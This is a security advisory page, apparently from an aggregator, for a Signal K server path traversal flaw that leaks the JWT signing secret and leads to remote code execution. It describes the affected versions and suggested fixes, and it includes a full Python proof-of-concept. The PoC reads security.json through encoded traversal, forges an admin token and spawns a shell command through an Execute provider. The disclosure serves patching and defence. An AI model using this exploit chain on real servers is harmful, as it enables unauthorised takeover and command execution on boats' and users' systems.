Investigate in your agent.

Turn this advisory into a focused investigation. Ask your agent to check your project’s versions, explain the evidence, and suggest a compatible fix.

Your agent needs remote MCP support and access to https://cve.new/mcp.

Read the setup guide

Skip to content
Check your stack
GHSA-4xm8-rg9h-jhq2critical9.8No CVE assigned

Signal K resources API path traversal can disclose the JWT signing secret and enable remote code execution

Impact

Path traversal in the Signal K resources and applicationData APIs lets an unauthenticated or low-privileged user read, write and delete files outside the storage root. Reading /security.json discloses the JWT signing secret, enabling admin token forgery and remote code execution.

Source excerpt · OSV

Affected packages

Start with the recorded fix for your release branch. Check your installed version and test compatibility before upgrading. Fixing this advisory does not rule out other vulnerabilities in the release.

Affected range Recorded fix
From 2.0.0 before 2.34.0Semantic versions2.34.0

Version evidence: OSV · GHSA-4xm8-rg9h-jhq2

View original version evidence (0 explicit versions)

Original source description

Summary

Path traversal in the Signal K resources and applicationData APIs lets an unauthenticated or low-privileged user read, write and delete files outside the storage root. Reading <config>/security.json discloses the JWT signing secret, enabling admin token forgery and remote code execution.

Details

Description

The v2 REST resources API GET /signalk/v2/api/resources/:resourceType/:resourceId passes resourceId to FileStore.getResource() without validation. getResource() builds the file path with path.join(this.resources[type].path, itemUuid) followed by readFile + JSON.parse, so a %2F-encoded multi-level traversal (..%2F..%2F..%2F..%2F) escapes the resource storage directory and returns any JSON file on the server (source: src/api/resources/index.ts:559-600, packages/resources-provider-plugin/src/filestorage.ts:115-125).

Because the JWT signing secret is stored in plaintext in <config>/security.json (generated at src/tokensecurity.ts:271, persisted via saveSecurityConfig at src/security.ts:377), an unauthenticated attacker on deployments with allow_readonly=true (a supported, UI-toggleable configuration granting anonymous read access) can:

  1. Read <config>/security.json — disclosing the JWT signing secret (512-hex) and user password hashes.
  2. Forge an admin JWT — HS256-sign {"id":"admin"} with the disclosed secret; accepted by /skServer/loginStatus (userLevel: "admin") and all admin-protected endpoints (adminAuthenticationMiddleware, src/tokensecurity.ts:593, applied at src/tokensecurity.ts:953).
  3. Gain remote code execution — POST /skServer/providers (admin) accepts a provider of type Execute; packages/streams/src/execute.ts:93 executes it via spawn('sh', ['-c', command]) at creation time. The provider persists to settings.json and survives restarts.

On default deployments (allow_readonly=false), step 1 returns 401 to anonymous users but succeeds with any readonly user token.

Suggested fixes

  1. Validate resourceId against a strict whitelist (for example, UUID format) in src/api/resources/index.ts before any storage call, including PUT/DELETE.
  2. In FileStore.getResource/setResource/deleteResource, canonicalise with path.resolve() and reject results outside this.resources[type].path.
  3. Store the JWT signing secret outside the API-readable config directory, in a dedicated key file with mode 0600.
  4. Consider gating provider types that execute commands (Execute) behind an explicit opt-in.

Proof of concept

Fully local testbed. Start the server, enable allow_readonly=true, then run:

#!/usr/bin/env python3
import base64, hashlib, hmac, json, time, urllib.request
BASE = "http://127.0.0.1:3000"
CMD  = "id > /tmp/sk-pwned"

# 1) unauthenticated traversal read of security.json
p = "/signalk/v2/api/resources/notes/..%2F..%2F..%2F..%2Fsecurity.json"
sk = json.load(urllib.request.urlopen(BASE + p))["secretKey"]

# 2) forge admin JWT
b64 = lambda b: base64.urlsafe_b64encode(b).rstrip(b"=").decode()
h = b64(json.dumps({"alg":"HS256","typ":"JWT"}).encode())
c = b64(json.dumps({"id":"admin","iat":int(time.time())}).encode())
tok = h+"."+c+"."+b64(hmac.new(sk.encode(), (h+"."+c).encode(), hashlib.sha256).digest())
req = urllib.request.Request(BASE+"/skServer/loginStatus", headers={"Authorization":"JWT "+tok})
assert json.load(urllib.request.urlopen(req))["userLevel"] == "admin"

# 3) add an Execute provider -> spawn('sh','-c',CMD)
prov = {"id":"poc-rce","enabled":True,"logging":False,"type":"Execute",
        "options":{"type":"ws","dataType":"SignalK","command":CMD}}
req = urllib.request.Request(BASE+"/skServer/providers", data=json.dumps(prov).encode(),
                             headers={"Authorization":"JWT "+tok,"Content-Type":"application/json"}, method="POST")
print(urllib.request.urlopen(req).read())    # provider created; /tmp/sk-pwned now exists

Reproduction verified independently on master 340d5bb6 (Node 22 / macOS), including restart persistence. PoC artifacts are available on request.

Impact

Unauthenticated access (with allow_readonly=true) leads to full compromise of the server process: arbitrary JSON file read, admin takeover, arbitrary command execution with server privileges, and persistent re-execution after restart. All signalk-server releases and all published versions of the bundled/standalone resources-provider prior to 2.34.0 are affected with the patched version as 2.34.0 fix

Inside the record

Evidence available

Package identity
Version evidence
Remediation guidance · not supplied
Weakness classification · not supplied
Additional publishers · not supplied

Describes the evidence in this view, not whether the product is safe.

Original records

No CVE identifier supplied. Use the source links below for the original advisory.

View the latest unmodified CVE JSON from the official source. It may be newer than this imported page.

cve.new JSON →

What changed

Follow changes
No substantive changes have been recorded here yet. History starts when cve.new observes a change after tracking is enabled; earlier edits are not reconstructed.

Large field values are marked as truncated previews. Original source snapshots remain retained.

References

4 sources